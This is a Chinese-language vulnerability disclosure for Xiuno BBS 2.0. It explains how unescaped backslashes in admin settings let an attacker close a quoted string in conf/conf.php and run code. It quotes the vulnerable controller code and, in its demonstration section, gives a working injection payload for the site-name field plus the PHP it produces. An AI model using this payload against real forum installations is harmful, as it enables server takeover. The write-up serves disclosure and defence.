Xiuno BBS 2.0 后台getshell漏洞

作者:ztz@Dis9Team

0×0 漏洞概述

  1. 系统配置并非存放在数据库中,而是存放在conf.php中;
  2. 使用数组的方法存放;
  3. 有转义: ‘ => \’ ;
  4. ‘\’没有转义;
  5. 插入\’会被转义为\\’,php中\\表示一个\,而单引号就逃脱了转义,因此可以闭合前面的数组;
  6. 该漏洞在后台管理中多次出现,包括灯鹭插件的设置中也出现。
 

0×1 代码解析

在admin/control/conf_control.class.php的on_base方法中: public function on_base() { global $conf; $timezones = array( '+0' => '+0 ', '+1' => '+1 ', '+2' => '+2 ', '+3' => '+3 ', '+4' => '+4 ', '+5' => '+5 ', '+6' => '+6 ', '+7' => '+7 ', '+8' => '+8 北京时间', '+9' => '+9 ', '+10' => '+10 ', '+11' => '+11 ', '+12' => '+12 ', '+13' => '+13 ', '+14' => '+14 ', '+15' => '+15 ', '+16' => '+16 ', '+17' => '+17 ', '+18' => '+18 ', '+19' => '+19 ', '+20' => '+20 ', '+21' => '+21 ', '+22' => '+22 ', '+23' => '+23 ', ); $input = array(); $bbs = include BBS_PATH.'conf/conf.php'; $error = $post = array(); //获取用户提交的设置信息 if($this->form_submit()) { $post['app_name'] = core::gpc('app_name', 'P'); $post['urlrewrite'] = intval(core::gpc('urlrewrite', 'P')); $post['timeoffset'] = core::gpc('timeoffset', 'P'); $post['upload_url'] = core::gpc('upload_url', 'P'); $post['static_url'] = core::gpc('static_url', 'P'); $post['credits_policy_post'] = intval(core::gpc('credits_policy_post', 'P')); $post['credits_policy_reply'] = intval(core::gpc('credits_policy_reply', 'P')); $post['golds_policy_reply'] = intval(core::gpc('golds_policy_reply', 'P')); $post['credits_policy_thread'] = intval(core::gpc('credits_policy_thread', 'P')); $post['credits_policy_digest_1'] = intval(core::gpc('credits_policy_digest_1', 'P')); $post['credits_policy_digest_2'] = intval(core::gpc('credits_policy_digest_2', 'P')); $post['credits_policy_digest_3'] = intval(core::gpc('credits_policy_digest_3', 'P')); $post['golds_policy_post'] = intval(core::gpc('golds_policy_post', 'P')); $post['golds_policy_thread'] = intval(core::gpc('golds_policy_thread', 'P')); $post['golds_policy_digest_1'] = intval(core::gpc('golds_policy_digest_1', 'P')); $post['golds_policy_digest_2'] = intval(core::gpc('golds_policy_digest_2', 'P')); $post['golds_policy_digest_3'] = intval(core::gpc('golds_policy_digest_3', 'P')); $post['cache_pid'] = intval(core::gpc('cache_pid', 'P')); $post['cache_tid'] = intval(core::gpc('cache_tid', 'P')); $post['app_brief'] = core::gpc('app_brief', 'P'); $post['app_starttime'] = core::gpc('app_starttime', 'P'); $post['tmp_path'] = core::gpc('tmp_path', 'P'); $post['click_server'] = core::gpc('click_server', 'P'); $post['reg_on'] = intval(core::gpc('reg_on', 'P')); $post['reg_email_on'] = intval(core::gpc('reg_email_on', 'P')); $post['reg_init_golds'] = intval(core::gpc('reg_init_golds', 'P')); $post['resetpw_on'] = intval(core::gpc('resetpw_on', 'P')); $post['app_copyright'] = core::gpc('app_copyright', 'P'); $post['seo_title'] = core::gpc('seo_title', 'P'); $post['seo_keywords'] = core::gpc('seo_keywords', 'P'); $post['seo_description'] = core::gpc('seo_description', 'P'); $post['threadlist_hotviews'] = intval(core::gpc('threadlist_hotviews', 'P')); $post['search_type'] = core::gpc('search_type', 'P'); $post['sphinx_host'] = core::gpc('sphinx_host', 'P'); $post['sphinx_port'] = core::gpc('sphinx_port', 'P'); $post['sphinx_datasrc'] = core::gpc('sphinx_datasrc', 'P'); $post['sphinx_deltasrc'] = core::gpc('sphinx_deltasrc', 'P'); $post['china_icp'] = core::gpc('china_icp', 'P'); $post['footer_js'] = core::gpc('footer_js', 'P'); $post['site_pv'] = intval(core::gpc('site_pv', 'P')); $post['site_runlevel'] = intval(core::gpc('site_runlevel', 'P')); $post['forum_index_pagesize'] = intval(core::gpc('forum_index_pagesize', 'P')); // hook admin_conf_base_gpc_after.php // check 数据格式 $error['app_name'] = $this->check_app_name($post['app_name']); if(misc::values_empty($error)) { $error = array(); if($post['urlrewrite'] != $this->conf['urlrewrite']) { $this->clear_cache($this->conf['tmp_path'], 'bbs_'); $this->clear_cache($this->conf['tmp_path'], 'bbsadmin_'); if(!empty($post['urlrewrite']) && $post['urlrewrite'] != $bbs['urlrewrite']) { $testurl = $bbs['app_url'].'index.htm'; try { $html = misc::get_url($testurl); } catch(Exception $e) { $html = ''; } if(strpos($html, '<html') === FALSE) { $post['urlrewrite'] = 0; } } } //将配置写入到文件中 $this->mconf->set_to('app_name', $post['app_name']); $this->mconf->set_to('urlrewrite', $post['urlrewrite']); $this->mconf->set_to('timeoffset', $post['timeoffset']); $this->mconf->set_to('upload_url', $post['upload_url']); $this->mconf->set_to('static_url', $post['static_url']); $this->mconf->set_to('click_server', $post['click_server']); $this->mconf->set_to('credits_policy_post', $post['credits_policy_post']); $this->mconf->set_to('credits_policy_reply', $post['credits_policy_reply']); $this->mconf->set_to('golds_policy_reply', $post['golds_policy_reply']); $this->mconf->set_to('credits_policy_thread', $post['credits_policy_thread']); $this->mconf->set_to('credits_policy_digest_1', $post['credits_policy_digest_1']); $this->mconf->set_to('credits_policy_digest_2', $post['credits_policy_digest_2']); $this->mconf->set_to('credits_policy_digest_3', $post['credits_policy_digest_3']); $this->mconf->set_to('golds_policy_post', $post['golds_policy_post']); $this->mconf->set_to('golds_policy_thread', $post['golds_policy_thread']); $this->mconf->set_to('golds_policy_digest_1', $post['golds_policy_digest_1']); $this->mconf->set_to('golds_policy_digest_2', $post['golds_policy_digest_2']); $this->mconf->set_to('golds_policy_digest_3', $post['golds_policy_digest_3']); $this->mconf->set_to('cache_pid', $post['cache_pid']); $this->mconf->set_to('cache_tid', $post['cache_tid']); $this->mconf->set_to('app_brief', $post['app_brief']); $this->mconf->set_to('app_starttime', $post['app_starttime']); $this->mconf->set_to('reg_on', $post['reg_on']); $this->mconf->set_to('reg_email_on', $post['reg_email_on']); $this->mconf->set_to('reg_init_golds', $post['reg_init_golds']); $this->mconf->set_to('resetpw_on', $post['resetpw_on']); $this->mconf->set_to('app_copyright', $post['app_copyright']); $this->mconf->set_to('seo_title', $post['seo_title']); $this->mconf->set_to('seo_keywords', $post['seo_keywords']); $this->mconf->set_to('seo_description', $post['seo_description']); $this->mconf->set_to('threadlist_hotviews', $post['threadlist_hotviews']); $this->mconf->set_to('search_type', $post['search_type']); $this->mconf->set_to('sphinx_host', $post['sphinx_host']); $this->mconf->set_to('sphinx_port', $post['sphinx_port']); $this->mconf->set_to('sphinx_datasrc', $post['sphinx_datasrc']); $this->mconf->set_to('sphinx_deltasrc', $post['sphinx_deltasrc']); $this->mconf->set_to('china_icp', $post['china_icp']); $this->mconf->set_to('footer_js', $post['footer_js']); $this->mconf->set_to('site_pv', $post['site_pv']); $this->mconf->set_to('site_runlevel', $post['site_runlevel']); $this->mconf->set_to('forum_index_pagesize', $post['forum_index_pagesize']); // hook admin_conf_base_set_after.php //$this->mconf->set_to('tmp_path', $post['tmp_path']); $this->mconf->save(); } // 删除模板缓存 $this->truncate_tpl_cache(); } 。。。 }   直接写入到了文件中,由于过滤不严,我们用\’即可绕过单引号过滤,达到闭合单引号的目的。  

0×2 演示

设置 -> 基本设置 -> 站点名称 加上 \’,)&&phpinfo();/* (其他地方应该也可以,没测试)   这样就在conf/conf.php中写入了如下代码: return array ( ...... // 唯一识别ID 'app_id' => 'bbs' , // 站点名称 'app_name' => 'Xiuno BBS \\' ,)&&phpinfo();/*',   形成了return array() && phpinfo();
通过使用&&达到执行命令的目的.

发表评论